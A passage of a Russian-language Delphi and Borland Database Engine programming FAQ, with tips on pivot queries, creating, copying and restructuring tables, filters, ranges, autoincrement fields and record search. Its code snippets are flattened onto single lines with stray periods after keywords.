Мне нужна помощь по реализации запроса кросс-таблицы в Delphi. У кого-нибудь имеется соответствующий опыт?

Использовать pivot-таблицу должен все тот-же общий механизм (относительно к любой базе данных SQL).

Предположим, что у нас есть данные продаж в таблице с полями Store, Product, Month, Sales, и вам необходимо отображать данные по продуктам за каждый месяц. (Примем, что поле 'month' для простоты имеет значения 1..12.).

Оригинальные данные примера:

Store Product Month Sales.

#1 Toys 1 100.

#2 Toys 1 68.

#1 Toys 2 150.

#1 Books 1 75.

...

Желаемый отчет должен выглядеть похожим на этот:

Product January February March .....

Toys 168 150.

Books 75 .....

Установите pivot-таблицу с именем tblPivot и 12 строками:

PvtMonth pvtJan pvtFeb pvtMar pvtApr ....

1 1 0 0 0 ....

2 0 1 0 0.

3 0 0 1 0.

4 0 0 0 1.

.....

Теперь запрос, выполненный в виде:

Code: Select Product, January=sum(Sales*pvtJan), February=sum(Sales*pvtFeb), March=sum(Sales*pvtMar), April=sum(Sales*pvtApr),... Where Month = pvtMonth. Group by Product.

Копирование таблицы с помощью DBE.

Code: Function CopyTable(tbl: TTable; dest: string): boolean; Var. Psrc, pdest: array[0..DBIMAXTBLNAMELEN] of char; Rslt: DBIResult; Begin. Result := False; StrPCopy(pdest, dest); With tbl do. Begin. Try. DisableControls; StrPCopy(psrc, TableName); Rslt := DbiCopyTable(DBHandle, True, psrc, nil, pdest); Result := (rslt = 0); Finally. Refresh; EnableControls; End; End; End;

Как сохранить содержимое таблицы в текстовый файл?

Эти небольшие функции анализирую таблицу и записывают её содержимое в TStringList. А затем просто сохраняют в файл.

Code: Procedure DatasetRecordToInfFile(aDataset: TDataSet; aStrList: TStrings); Var. I: integer; Begin. For i := 0 to (aDataset.FieldCount-1) do. AStrList.Add(aDataset.Fields[i].FieldName + '=' + ADataset.Fields[i].AsString); End; Procedure DatasetToInfFile(aDataset: TDataSet; aStrList: TStrings); Begin. ADataSet.First; While not aDataSet.EOF do. Begin. DatasetRecordToInfFile(aDataset,aStrList); ADataSet.Next; End; End; Procedure TForm1.Button1Click(Sender: TObject); Begin. DatasetRecordToInfFile(Table1,Memo1.Lines); End; Procedure TForm1.Button2Click(Sender: TObject); Begin. DatasetToInfFile(Table1,Memo1.Lines); End;

Создание таблицы.

Code: Uses DB, DBTables, StdCtrls; Procedure TForm1.Button1Click(Sender: TObject); Var. TSource, TDest: TTable; Begin. TSource := TTable.create(self); With TSource do. Begin. DatabaseName := 'dbdemos'; TableName := 'customer.db'; Open; End; TDest := TTable.create(self); With TDest do. Begin. DatabaseName := 'dbdemos'; TableName := 'MyNewTbl.db'; FieldDefs.Assign(TSource.FieldDefs); IndexDefs.Assign(TSource.IndexDefs); CreateTable; End; TSource.close; End;

©Drkb::02598.

Code: // Создание DBF-файла во время работы приложения. ... Const. CreateTab = 'CREATE TABLE '; IDXTab = 'PRIMARY KEY '; MyTabStruct = 'IDX_TAB DECIMAL(6,0), ' + 'DATE_ DATE, ' + 'FLD_1 CHARACTER(20), ' + 'FLD_2 DECIMAL(7,2), ' + 'FLD_3 BOOLEAN, ' + 'FLD_4 BLOB(1,1), ' + 'FLD_5 BLOB(1,2), ' + 'FLD_6 BLOB(1,3), ' + 'FLD_7 BLOB(1,4), ' + 'FLD_8 BLOB(1,5) '; ... // создание таблицы без индекса. Procedure TForm1.Button1Click(Sender: TObject); Begin. If CreateTable('"MYTAB.DBF"', MyTabStruct, '') then. ... // выполняем дальнейшие операции. Else. ... End; // создание таблицы с индексом. Procedure TForm1.Button2Click(Sender: TObject); Begin. If CreateTable('"MYTAB.DBF"', MyTabStruct, IDXTab + ' (IDX_TAB)') then. ... // выполняем дальнейшие операции. Else. ... End; Function TForm1.CreateTable(TabName, TabStruct, TabIDX: string): boolean; Var. QyTable: TQuery; Begin. Result := true; QyTable := TQuery.Create(Self); With qyTable do. Try. Try. SQL.Clear; SQL.Add(CreateTab + TabName + '(' + TabStruct + TabIDX + ')'); Prepare; // ExecSQL, а не Open. Иначе ... облом. ExecSQL; Except. // Обработка ошибок открытия таблицы Возможности обработчика можно расширить. Exception.Create('Ошибка открытия таблицы'); Result := false; End; Finally. Close; End; End;

©Drkb::02599.

Code: Sql := 'CREATE TABLE "employee.db" ( '+ 'Last_Name CHAR(20),'+ 'First_Name CHAR(15),'+ 'Salary NUMERIC(10,2),'+ 'Dept_No SMALLINT,'+ 'PRIMARY KEY (Last_Name, First_Name))'; Query1.sql.text:=sql; Query1.ExecSQL;

Фильтр посредством логического поля.

В таблице имеется поле Customer:Boolean. Я хочу чтобы таблица показывала только Customer или только не-customer.

Установите ключ (вы должны иметь индекс для этого поля) одним из указанных способов:

Code: Tablex.SetRange([False],[False]) // для всех не-customer... Tablex.SetRange([True], [True]]) // для всех customer... Tablex.SetRange([False],[True]) // для всех записей...

Сортировка связанного списка.

Code: Program noname; Type. PData = ^TData; TData = record. Next: PData; Name: string[40]; { ...другие поля данных }. End; Var. Root: PData; { это указатель на первую запись в связанном списке }. Procedure InsertRecord(var root: PData; pItem: PData); { вставляем запись, на которую указывает pItem в список начиная. С root и с требуемым порядком сортировки }. Var. PWalk, pLast: PData; Begin. If root = nil then. Begin. { новый список все еще пуст, просто делаем запись, Чтобы добавить root к новому списку }. Root := pItem; Root^.next := nil. End { If }. Else. Begin. { проходимся по списку и сравниваем каждую запись с одной. Включаемой. Нам необходимо помнить последнюю запись, Которую мы проверили, причина этого станет ясна немного позже. }. PWalk := root; PLast := nil; { условие в следующем цикле While определяет порядок сортировки! Это идеальное место для передачи вызова функции сравнения, Которой вы передаете дополнительный параметр InsertRecord для. Осуществления общей сортировки, например: While CompareItems( pWalk, pItem ) < 0 Do Begin. Where. Procedure InsertRecord( Var list: PData; CompareItems: TCompareItems ); And. Type TCompareItems = Function( p1,p2:PData ): Integer; And a sample compare function: Function CompareName( p1,p2:PData ): Integer; Begin. If p1^.Name < p2^.Name Then. CompareName := -1. Else. If p1^.Name > p2^.Name Then. CompareName := 1. Else. CompareName := 0; End; } While pWalk^.Name < pItem^.Name do. If pWalk^.next = nil then. Begin. { мы обнаружили конец списка, поэтому добавляем. Новую запись и выходим из процедуры }. PWalk^.next := pItem; PItem^.next := nil; Exit; End { If }. Else. Begin. { следующая запись, пожалуйста, но помните, Что одну мы только что проверили! }. PLast := pWalk; { если мы заканчиваем в этом месте, то значит мы нашли. В списке запись, которая >= одной включенной. Поэтому. Вставьте ее перед записью, на которую в настоящий момент. Указывает pWalk, которая расположена после pLast. }. If pLast = nil then. Begin. { Упс, мы вывалились из цикла While на самой первой итерации! Новая запись должна располагаться в верхней части списка, Поэтому она становится новым корнем (root)! }. PItem^.next := root; Root := pItem; End { If }. Else. Begin. { вставляем pItem между pLast и pWalk }. PItem^.next := pWalk; PLast^.next := pItem; End; { Else }. { мы сделали это! }. End; { Else }. End; { InsertRecord }. Procedure SortbyName(var list: PData); Var. Newtree, temp, stump: PData; Begin { SortByName }. { немедленно выходим, если сортировать нечего }. If list = nil then. Exit; { в. Newtree := Nil;}. {******** Сортируем, просто беря записи из оригинального списка и вставляя их. В новый, по пути "перехватывая" для определения правильной позиции в. Новом дереве. Stump используется для компенсации различий списков. Temp используется для указания на запись, перемещаемую из одного. Списка в другой. ********} Stump := list; While stump <> nil do. Begin. { временная ссылка на перемещаемую запись }. Temp := stump; { "отключаем" ее от списка }. Stump := stump^.next; { вставляем ее в новый список }. InsertRecord(newtree, temp); End; { While }. { теперь помещаем начало нового, сортированного. Дерева в начало старого списка }. List := newtree; End; { SortByName }. Begin. New(root); Root^.Name := 'BETA'; New(root^.next); Root^.next^.Name := 'ALPHA'; New(root^.next^.next); Root^.next^.next^.Name := 'Torture'; WriteLn(root^.name); WriteLn(root^.next^.name); WriteLn(root^.next^.next^.name); End.

Пример DbiAddFilter.

Автор: Mark Erbaugh.

Code: Type. TmyFilter = record. Expr: CANExpr; Nodes: array[0..2] of CANNode; Literals: array[0..7] of char; End; Const. MyFilter: TMyFilter = (Expr: (iVer: 1; iTotalSize: sizeof(TMyFilter); iNodes: 3; INodeStart: sizeof(CANExpr); iLiteralStart: sizeof(CANExpr) + 3 * sizeof(CANNode)); Nodes: ((canBinary: (nodeClass: nodeBinary; canOP: canEQ; IOperand1: sizeof(CANNode); iOperand2: 2 * sizeof(CANNode))), (canField: (nodeClass: nodeField; canOP: canField2; IFieldNum: 0; iNameOffset: 0)), (canConst: (nodeClass: nodeConst; canOP: canCONST2; IType: fldZSTRING; iSize: 3; iOffset: 5))); Literals: ('T', 'Y', 'P', 'E', #0, 'I', 'N', #0)); Var. DbResult: DBIResult; HFilter, hFilter1: hDBIFilter; Begin (* procedure SetupFilter *). DbResult := DbiAddFilter(tblAP_.Handle, 1, 1, False, addr(myFilter), nil, hFilter); DbResult := DbiActivateFilter(tblAP_.Handle, hFilter); TblAP_.First; MyFilter.nodes[0].canBinary.canOp := canNE; DbResult := DbiAddFilter(tblAP1_.Handle, 1, 1, False, addr(myFilter), nil, hFilter1); DbResult := DbiActivateFilter(tblAP1_.Handle, hFilter1); TblAP1_.First; MyFilter.nodes[0].canBinary.canOp := canEQ; End;

Правила для SetRange.

Я, похоже, обнаружил неплохое решение ранжирования данных - вам необходимо только установить различные начальный и конечный диапазоны последнего поля, определенного вашим индексом, после чего введенное в любое поле индекса значение будет проигнорировано. Также вы не сможете покинуть ранжируемое поле, если редактируемая запись пуста.

Попытаюсь изложить все попроще... Скажем, у меня есть индекс Field1; Field2; Field3, затем;

Code: SetRangeStart; Table1Field1.Value := x1; Table1Field2.Value := y1; Table1Field3.Value := z1; SetRangeEnd; Table1Field1.Value := x2; Table1Field2.Value := y2; Table1Field3.Value := z2; ApplyRange;

Как проверить находится ли файл на локальном диске?

Code: Function IsOnLocalDrive(aFileName: string): Boolean; Var. ADrive: string; Begin. ADrive := ExtractFileDrive(aFileName); If (GetDriveType(PChar(aDrive)) = DRIVE_REMOVABLE) or. (GetDriveType(PChar(aDrive)) = DRIVE_FIXED) then. Result := True. Else. Result := False; End; // Example, Beispiel: Procedure TForm1.Button1Click(Sender: TObject); Begin. If OpenDialog1.Execute then. If IsOnLocalDrive(OpenDialog1.FileName) then. ShowMessage(OpenDialog1.FileName + ' is on a local drive.'); End;

Как добиться верной работы фильтра на запросах и на неиндексированных таблицах.

Автор: Nomadic.

(Т.е. при работе программы наблюдалась следующая картина: в результате очередной фильтрации оставалось видно 4 записи из восьми. Добавляем букву к фильтру, остается, допустим, две. Убираем букву, которую только что добавили, в гриде все равно видно только две записи).

Эта проблема была в Delphi 3.0 только на TQuery, а в Delphi 3.01 появилась и в TTable. Лечится так (простой пример):

Code: Procedure TMainForm.Edit1Change(Sender: TObject); Begin. If length(Edit1.Text) > 0 then. Begin. Table1.Filtered := TRUE; UpdateFilter(Table1); End. Else. Table1.Filtered := FALSE; End; Procedure TMainForm.UpdateFilter(DataSet: TDataSet); Var. FR: TFilterRecordEvent; Begin. With DataSet do. Begin. FR := OnFilterRecord; If Assigned(FR) and Active then. Begin. DisableControls; Try. OnFilterRecord := nil; OnFilterRecord := FR; Finally. EnableControls; End; End; End; End;

Функция вычисления суммы полей.

Code: Function SumField(const fieldName: OpenString): longint; Var. Fld: TField; Bm: TBookmark; // закладка. Begin. Result := 0; Tbl.DisableControls; // выключаем рекцию на перемещение по набору данных. Bm := tbl.GetBookmark; // сохраняем позицию. Fld := tbl.FieldByName(fieldName); Tbl.first; While not tbl.eof do. Begin. Result := result + fld.AsInteger; Tbl.next; End; Tbl.GotoBookmark(bm); // позиционируем обратно. Tbl.EnableControls; // включаем реакцию на перемещение по набору данных. End;

Функции редактора полей во время выполнения программы.

Возможен ли вызов функций редактора полей (Fields Editor) во время выполнения программы?

Да. Если вы определили поля во время разработки приложения, то во время выполнения можно менять их свойства (например, Size).

Например, следующий код изменяет каждый размер поля TField.Size так, чтобы соответствовать фактическому размеру поля открываемого набора данных:

Code: Procedure SetupFieldsAndOpenDataset(DataSet: TDataSet); Var. FieldNum, DefNum: Integer; Begin. With DataSet do. Begin. If Active then. Close; FieldDefs.Update; {набор данных должен быть закрыт}. {ищем каждое предопределенное TField в DataSet.FieldDefs:}. For FieldNum := FieldCount - 1 downto 0 do. With Fields[FieldNum] do. Begin. DefNum := FieldDefs.IndexOf(FieldName); If DefNum < 0 then. Raise Exception.CreateFmt( 'Поле "%s" не найдено в наборе данных "%s"', [FieldName, Dataset.Name]); {устанавливаем свойство size:}. Size := FieldDefs[DefNum].Size; End; Open; End; End;

Создание и удаление полей во время выполнения программы.

TField-компоненты (или, точнее, потомки компонента TField с соответствующим типом поля) могут создаваться во время проектирования программы с помощью Fields Editor (редактора полей). Fields Editor вызывается двойным щелчком на иконке компонента TTable или TQuery. Но потомки TField могут быть созданы и удалены и в режиме выполнения программы.

Потомки компонента TField (такие как, например, TStringField, TIntegerField и др.) создаются методом Create для того типа потомка TField, который подходит к соответствующему полю набора данных. Другими словами, для поля строкового типа текущего набора данных необходимо вызвать метод Create класса TStringField, являющегося потомком TField. Методу Create необходим один параметр - владелец потомка TField, расположенный на TForm. После создания компонента наследника TField для того, чтобы новый экземпляр объекта мог установить связь с необходимым полем набора данных, необходимо установить несколько ключевых свойств. Вот их список:

FieldName: имя поля в таблице.

Name: уникальный идентификатор компонента-потомка TField.

Index: позиция компонента-потомка TField в массиве TFields (свойство Fields компонента TTable или TQuery, с которым будет связан TField).

DataSet: компонент TTable или TQuery, с которым будет связан TField.

Приведенный ниже код демонстрирует способ создания TStringField. TForm названа Form1 (здесь ссылка на переменную Self), активный набор данных TQuery имеет имя Query1 и поле, для которого создается компонент TStringField, расположено в таблице dBASE с именем CO_NAME. Новый потомок TField будет вторым TField в свойстве-массиве Fields компонента Query1. Имейте в виду, что набор данных, связанный с новым потомком TField (в нашем случае Query1), перед добавлением TField должен быть закрыт, а после добавления вновь открыт.

Code: Procedure TForm1.Button2Click(Sender: TOObject); Var. T: TStringField; Begin. Query1.Close; T := TStringField.Create(Self); T.FieldName := 'CO_NAME'; T.Name := Query1.Name + T.FieldName; T.Index := Query1.FieldCount; T.DataSet := Query1; Query1.FieldDefs.UpDate; Query1.Open; End;

Работа с автоинкрементальными (AutoInc) полями.

Работа с автоинкрементальным типом поля (Auto-increment, поле с автоприращением).

В приложениях Delphi, при использовании таблиц, содержащих автоинкрементальные поля или поля, автоматически увеличивающие каким-либо способом, неизвестным приложению, свое значение, могут наблюдаться проблемы. Таблицы Paradox, InterBase, Sybase и Informix имеют средства автоматической вставки и обновления значений полей, без вмешательства сервисов и конечных приложений. Тем не менее, не каждая операция с таблицой поддерживается таким механизмом. Данный документ призван продемонстрировать основные методы работы с такими типами полей в таблицах Paradox 5.0, Informix 5.x, MS/Sybase SQL Server 4.x, InterBase 4.0 и Local InterBase.

У каждого типа таблицы за кулисами работает собственный механизм. Таблицы Paradox поддерживают автоинкрементальный (Autoincrement) тип поля. Когда к таким таблицам добавляются новые записи, Borland Database Engine определяет максимальное текущее значение в данной колонке, прибавляет единицу, и обновляет новую строку с новым значением.

Для таблиц Informix данное поведение предусматривается специфическим типом Informix-поля, названного Serial. Колонки Serial отличаются от автоприращиваемых (Autoincrement) полей Paradox тем, что в таблицах Informix значения этого типа полей могут быть изменены, тогда как в таблицах Paradox они предназначены только для чтения.

Таблицы InterBase и MS/Sybase SQL Server не имеют поддерживающего данную характеристику специального типа поля, но для выполнения той же задачи можно воспользоваться триггерами. Триггеры являются специализированными процедурами, которые находятся на сервере баз данных и автоматически выполняются в ответ на какое-либо событие, например, добавление в таблицу, обновление и удаление. Использование таблиц со связанными триггерами может быть особенно проблематичным, поскольку триггеры способны делать намного больше функций, чем просто увеличивать значения приращиваемой колонки.

Три функциональные области, которые могут влиять на данный тип поля в случае простой вставки, batchmoves и привязки (Linking) таблицы.

Обработка Update и/или Append BatchMoves.

Таблицы Paradox.

Поскольку автоинкрементальный тип поля является типом только для чтения, то попытка вызвать операцию batchmove с данной колонкой в целевой таблице может привести к ошибке. Для того, чтобы обойти это, свойство компонента TBatchMove Mappings должно быть установлено так, чтобы поля исходной таблицы соответствовали полям целевой таблицы, за исключением ее автоинкрементальных полей.

Таблицы Informix.

Групповое перемещение строк в таблицу Informix с колонками, имеющими тип Serial, ошибки не вызовет. Тем не менее, должны вас предупредить о возможных проблемах, поскольку Serial-колонки имеют возможность обновления и часто используются в качестве первичного ключа.

Таблицы InterBase.

Таблицы MS/Sybase SQL Server.

Триггеры в таблицах InterBase и SQL Server могут отследить любые неверные изменения, сделанные в таблице, но это всецело зависит от установок самого триггера. Здесь также вас необходимо предупредить о возможных проблемах, поскольку обновляемые триггером колонки могут быть использованы в качестве первичного ключа.

Привязки таблиц посредством MasterSource & MasterFields.

Таблицы Paradox.

Таблицы Informix.

Если свойства MasterFields и MasterSource используются для привязки таблиц с отношениями мастер-деталь и одно из полей в "деталь"-таблице является автоинкрементальным или Serial-полем, то соответствующее поле в "мастер"-таблице должно иметь тип Long Integer или быть Serial-полем. Если "мастер"-таблица не является таблицей Paradox, то ключевое поле "мастер"-таблицы может быть полем любого целого типа, которого она поддерживает.

Таблицы InterBase.

Таблицы MS/Sybase SQL Server.

Привязка с использованием данного типа таблиц не вызывает проблем, если пользоваться полями, изменяемые триггером. Единственное требование заключается в сопоставлении необходимых типов колонок обоих таблиц.

Простая вставка/обновление (Inserts/Updates).

Таблицы Paradox.

Поскольку автоинкрементальные поля Paradox имеют аттрибут только для чтения, они обычно не предназначены для обновления и вставки новых записей. Следовательно, свойство Required для field-компонентов, базирующихся на автоинкрементальных полях, должны всегда быть установлены в False. Это может быть выполнено из Delphi с помощью Fields Editor определением field-компонентов в режиме разработки) двойной щелчок на компоненте TQuery или TTable), или во время работы программы с помощью следующего кода:

Table1.Fields[0].Required := False;

Или.

Table1.FieldByName('Fieldname').Required := False;

Таблицы Informix.

Хотя Serial-поля Informix и являются обновляемыми, но если у них должна быть использована характеристика автоприращения, то свойство Required для field-компонентов, базирующихся на таком поле, должно быть установлена в False. Делайте все также, как это было описано для таблиц Paradox.

Таблицы InterBase.

Таблицы MS/Sybase SQL Server.

Обработка вставки этих изменяемых триггером типов таблиц требует предпринять некоторое количество шагов. Дополнительные шаги особенно необходимы в том случае, если вставка выполняется посредством стандартных элементов управления для работы с базами данных, типа DBEdits или DBMemos.

Вставка строк в изменяемые триггерами InterBase- и SQL Server таблицы может с достаточной долей вероятности вызвать сообщение об ошибке 'Record/Key Deleted'. Это сообщение об ощибки появляется несмотря на то, что таблица правильно обновляется на сервере. Это происходит в случае, если:

1. Триггер обновляет первичный ключ. Ошибка может возникнуть не только при использовании триггера, но триггер является наиболее вероятной причиной ошибки.

2a. Другие колонки таблицы имеют связанные значения по умолчанию. Это выполняется ПО УМОЛЧАНИЕ в случае создания таблицы InterBase или хранимой на сервере SQL Server процедурой sp_bindefault.

Или.

2b. При вставке новой строки обновляются поля, имеющие тип Blob.

Или.

2b. В таблице InterBase определены калькулируемые поля.

Основополагающая причина этих ошибок кроется в том, что когда запись (или идентификационный ключ) изменяется на сервере, BDE больше не имеет способов идентифицировать запись для ее повторного поиска. То есть запись больше не появляется, как это было бы, если бы ее "запостили", следовательно, BDE будет думать, что запись удалена (или изменен ключ).

Во-первых, field-компоненты изменяемых триггером полей должны иметь свойство Required, установленное в False. Делайте все также, как это было описано для таблиц Paradox.

Во-вторых, чтобы избежать случайных ошибок, установите порядок таблицы по индексу, не использующему поля, обновляемые триггером. Это также не позволит вновь введенной записи исчезать сразу после ее вставки.

Наконец, если условие 1, приведенное выше, невозможно, но возможно наступление событий 2a, 2b или 2c, то необходимо создать обработчик события AfterPost компонента TTable как показано ниже:

Code: Procedure TForm1.Table1AfterPost(DataSet: TDataset); Begin. Table1.Refresh; End;

Как пересчитать все вычисляемые поля (Calculated fields) без переоткрытия TDataSet?

Автор: Nomadic.

Resync( [rmExact, rmCenter] );

©Drkb::02562.

Взято с http://delphiworld.narod.ru.

Как заставить BDE сохранять в БД поле времени с сотыми долями секунды.

Если руками, то в BDE Administrator (BDE Configuration Utility).

Если при инсталляции твоей программы, то -

В пункте Make Registry Changes InstаllShiеld'а создай ключ.

HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Database Engine\Settings\SYSTEM\FORMATS\TIME\MILSECONDS=TRUE.

©Drkb::02639.

Взято с http://delphiworld.narod.ru.

Как задать выражение по умолчанию для объекта TField.

Это будет работать, если вы уже установили атрибуты поля и ассоциировали его с полем вашей таблицы. Если вы установили значение в Инспекторе Объектов, т.е. задали строку, не думайте, что это сработает во время выполнения приложения. Если вы попытаетесь во время прогона установить свойство TField.DefaultExpression примерно так:

MyField.DefaultExpression := 'MyValue';

То это скомпилируется, но при создании в таблице новой записи, скажем, при щелчке на кнопке + в DBNavigator, значения по умолчанию вы не получите. Чтобы во время работы приложения все работало, код должен быть таким:

MyField.DefaultExpression := '''MyValue''';

В Инспекторе Объектов вам нужно просто поместить значение 'MyValue' (используя одинарные кавычки).

©Drkb::02618.

Взято с http://delphiworld.narod.ru.

Использование нумерации в TFields.

Я хочу хранить журнал транзакций в таблице Paradox и хотел бы писать и читать коды транзаций вместо простых целых чисел, которые они представляют в данный момент...

Можете попробовать сделать так:

Code: Type Tcodes = (c1,c2,c3,c4); Var code: Tcodes; Code := Tcodes(Table1Field1.AsInteger); If code in [c2,c4] then ..... Table1Field1.AsInteger := Integer(code);

Изменить размер поля или его тип.

Автор: Reinhard Kalinke.

Единственный способ изменить размер поля или его тип - использовать DBIDoRestructure. Вот простой пример, который может вам помочь в этом:

Code: Function BDEStringFieldResize(ATable: TTable; AFieldName: string; ANewSize: Integer): boolean; Type. TRestructStatus = (rsFieldNotFound, rsNothingToDo, rsDoIt); Var. HDB: hDBIdb; PTableDesc: pCRTblDesc; PFldOp: pCROpType; {фактически это массив array of pCROpType}. PFieldDesc: pFldDesc; {фактически это массив array of pFldDesc}. CurPrp: CurProps; CSubType: integer; CCbrOption: CBRType; ERestrStatus: TRestructStatus; PErrMess: DBIMsg; I: integer; Begin. Result := False; ERestrStatus := rsFieldNotFound; AFieldName := UpperCase(AFieldName); PTableDesc := nil; PFieldDesc := nil; PFldOp := nil; With ATable do. Try. {убедимся что имеем исключительный доступ и сохраним dbhandle:}. If Active and (not Exclusive) then. Close; If (not Exclusive) then. Exclusive := True; If (not Active) then. Open; HDB := DBHandle; {готовим данные для DBIDoRestructure:}. BDECheck(DBIGetCursorProps(Handle, CurPrp)); GetMem(pFieldDesc, CurPrp.iFields * sizeOf(FldDesc)); BDECheck(DBIGetFieldDescs(Handle, pFieldDesc)); GetMem(pFldOp, CurPrp.iFields * sizeOf(CROpType)); FillChar(pFldOp^, CurPrp.iFields * sizeOf(CROpType), 0); {ищем в цикле (через fielddesc) наше поле:}. For i := 1 to CurPrp.iFields do. Begin. {для ввода мы имеем серийные номера вместо. Pdox ID, возвращаемых DbiGetFieldDescs:}. PFieldDesc^.iFldNum := i; If (Uppercase(StrPas(pFieldDesc^.szName)) = AFieldName). And (pFieldDesc^.iFldType = fldZSTRING) then. Begin. ERestrStatus := rsNothingToDo; If (pFieldDesc^.iUnits1 <> ANewSize) then. Begin. PFieldDesc^.iUnits1 := ANewSize; PFldOp^ := crModify; ERestrStatus := rsDoIt; End; End; Inc(pFieldDesc); Inc(pFldOp); End; {for}. {"регулируем" массив указателей:}. Dec(pFieldDesc, CurPrp.iFields); Dec(pFldOp, CurPrp.iFields); {в случае отсутствия операций возбуждаем исключение:}. Case eRestrStatus of. RsNothingToDo: raise Exception.Create('Ничего не сделано'); RsFieldNotFound: raise Exception.Create('Поле не найдено'); End; GetMem(pTableDesc, sizeOf(CRTblDesc)); FillChar(pTableDesc^, SizeOf(CRTblDesc), 0); StrPCopy(pTableDesc^.szTblName, TableName); {StrPCopy(pTableDesc^.szTblType,szPARADOX); {}. PTableDesc^.szTblType := CurPrp.szTableType; PTableDesc^.iFldCount := CurPrp.iFields; PTableDesc^.pecrFldOp := pFldOp; PTableDesc^.pfldDesc := pFieldDesc; Close; BDECheck(DbiDoRestructure(hDB, 1, pTableDesc, nil, nil, nil, False)); Finally. If pTableDesc <> nil then. FreeMem(pTableDesc, sizeOf(CRTblDesc)); If pFldOp <> nil then. FreeMem(pFldOp, CurPrp.iFields * sizeOf(CROpType)); If pFieldDesc <> nil then. FreeMem(pFieldDesc, CurPrp.iFields * sizeOf(FldDesc)); Open; End; {пробуем с table1}. Result := True; End;

Динамическое создание полей.

Code: Var. I: Integer; Field: TField; Begin. { Поля можно добавлять только к неактивному набору данных. }. Table1.Active := False; { Распределяем определенные поля если набор данных еще не был активным. }. Table1.FieldDefs.Update; { Создаем все поля из определений и добавляем к набору данных. }. For I := 0 to Table1.FieldDefs.Count - 1 do. Begin. { Вот где мы действительно сообщаем набору данных о необходимости создания поля. }. { Поле "назначается", но нам нужно не это, нам нужна просто ссылка на новое поле. }. Field := Table1.FieldDefs[I].CreateField(Table1); End; { Вот пример того, как вы можете добавить дополнительные, вычисленные поля }. Field := TStringField.Create(Table1); Field.FieldName := 'Total'; Field.Calculated := True; Field.DataSet := Table1; { Теперь мы можем увидеть наши поля. }. Table1.Active := True; End;

Поиск фраз и записей переменной длины.

Для текста переменной длины вы можете использовать DBmemo. Большинство людей это делают сканированием "на лету" (когда оператор постит запрос), но для реального ускорения процесса можно попробовать способ пре-сканирования, который делают "большие мальчики" (операторы больших баз данных):

При внесении в базу данных новой записи она сканируется на предмет определения ключевых слов (это может быть как предопределенный список ключевых слов, так и всех слов, не встречающиеся в стоп-листе [пример: "the", "of", "and"]).

Ключевые слова вносятся в список ключевых слов со ссылкой на номер записи, например, "hang",46 или "PC",22.

Когда пользователь делает запрос, мы извлекаем все записи, где встречается каждое из ключевых слов, например, "hang" может возвратить номера записей 11, 46 и 22, тогда как "PC" - записи с номерами 91, 22 и 15.

Затем мы объединяем числа из всех списков c помощью какого-либо логического оператора, например, результатом приведенного выше примера может быть запись под номером 22 (в случае логического оператора AND), или записи 11, 15, 22, 46 и 91 (в случае оператора OR). Затем извлекайте и выводите эти записи.

Для синонимов определите таблицу синонимов (например, "hang","kaput"), и также производите поиск синонимов, добавляя их к тому же списку как и оригинальное слово.

Слова, имеющие общие окончания (например, "hang" и "hanged"), можно также сделать синонимами, или, как это делает большинство систем, производить анализ окончаний слов, вычисляя корень по их перекрытию (например, слову "hang" соответствует любое слово, чьи первые 4 буквы равны "hang").

Конечно, есть множестно технических деталей, которые необходимо учесть, например, организация списков, их эффективное управление и объединение. Оптимизация этой характеристики может вам дать очень быстрое время поиска (примером удачный реализаций могут служить двигатели поиска Nexus, Lycos или WebCrawler, обрабатывающие сотни тысяч записей в течение секунды).

©Drkb::02626.

Взято с http://delphiworld.narod.ru.

Поиск по нескольким полям.

Code: Keyfields:='name;name_1;n_dom;n_kw'; Keyvalues:=VarArrayOf([combobox1.Text, combobox2.Text, edit2.Text, edit3.text]); If dmod.qrfiz.Locate(keyfields,keyvalues,[])=false then. Dmod.qrfiz.Locate('id',id1,[]);

Поиск значения при вводе.

Каким способом можно производить поиск подходящих величин в момент ввода? Табличный курсор (визуально) должен перемещаться к наиболее подходящему значению при добавлении пользователем новых символов водимой величины.

Первоначально код писался под Delphi 1. Это может и не лучшее решение, но это работает.

Для поиска величины таблица держится открытой. Индекс должен, естественно, принадлежать полю, используемому элементом управления EditBox. В случае изменения содержимого EditBox, новое значение используется для вызова стандартной функции FindNearest таблицы TTable. Возвращаемая величина снова присваивается свойству Text элемента EditBox.

Я привел лишь общее решение задачи. Фактически во время изменения значения я включал таймер на период 1/3 секунды и в обработчике события OnTimer проводил операцию поиска (с выключением таймера). Это позволяло пользователю набирать без задержки нужный текст без необходимости производить поиск в расчете на вновь введенный символ (поиск проводился только при возникновении задержки в 1/3 секунды).

Вам также может понадобиться специальный обработчик нажатия клавиши backspace или добавления символа в любое место строки.

Вместо возвращения результатов элементу EditBox (который перезаписывает введенное пользователем значение), вы можете передавать результаты другому элементу управления, например компоненту ListBox. Вы также можете отобразить несколько наиболее подходящих значений, к примеру так:

Code: Procedure Edit1OnChange(...); Var. I: integer; Begin. If not updating then. Exit; {сделайте обновление где-нибудь еще - Например при срабатывании таймера}. Updating := false; Table1.FindNearest([Edit1.text]); ListBox1.clear; I := 0; While (i < 5) and (not (table1.eof)) do. Begin. Listbox.items.add(Table1.fields[0].asString); Inc(i); Table1.next; End; Listbox1.itemindex := 0; End;

Поиск записи в больших таблицах.

Автор: Александр Куприн.

В свою очередь хочу предложить на Ваш суд небольшую процедуру, которая мне очень помогла. Процедура позволяет переходить на любую из записей в таблице (формат Paradox или DBase). Необходимость в ней возникла, когда мне пришлось работать с таблицей размером в 10 и более тысяч записей у которой было несколько калькулируемых полей и полей подлинкованных из объектов TQuery. При использовании метода TTable.MoveBy программа медленно и печально замолкала (вообще-то она работала, но как?!). Встретил я этот пример в технической документации Borland (2656), где сравнивались функции Paradox Engine и BDE. Пример был написан на C. Вот его интерпретация на Delphi:

Code: Uses BDE; ... Procedure MoveToRec(RecNo: longint; taSingle: TDBDataSet); // переход на логическую запись. Var. ErrorCode: DBIResult; CursorProps: CurProps; Begin. ErrorCode := DbiGetCursorProps(taSingle.Handle, CursorProps); If ErrorCode = DBIERR_NONE then. Begin. Case TTable(taSingle).TableType of. TtParadox: ErrorCode := DbiSetToSeqNo(taSingle.Handle, RecNo); TtDBase: ErrorCode := DbiSetToRecordNo(taSingle.Handle, RecNo); End; { case..}. TaSingle.Resync([rmCenter]); End { if..}. End; { procedure MoveToRec }.

Поиск записи с помощью TQuery.

Компонент TQuery не предусматривает основанный на индексе поиск, подобный реализованному в компоненте TTable (FindKey, GotoKey и GotoNearest). Поэтому возникает следующий вопрос: как в данных, возвращаемых запросом TQuery, найти определенную запись?

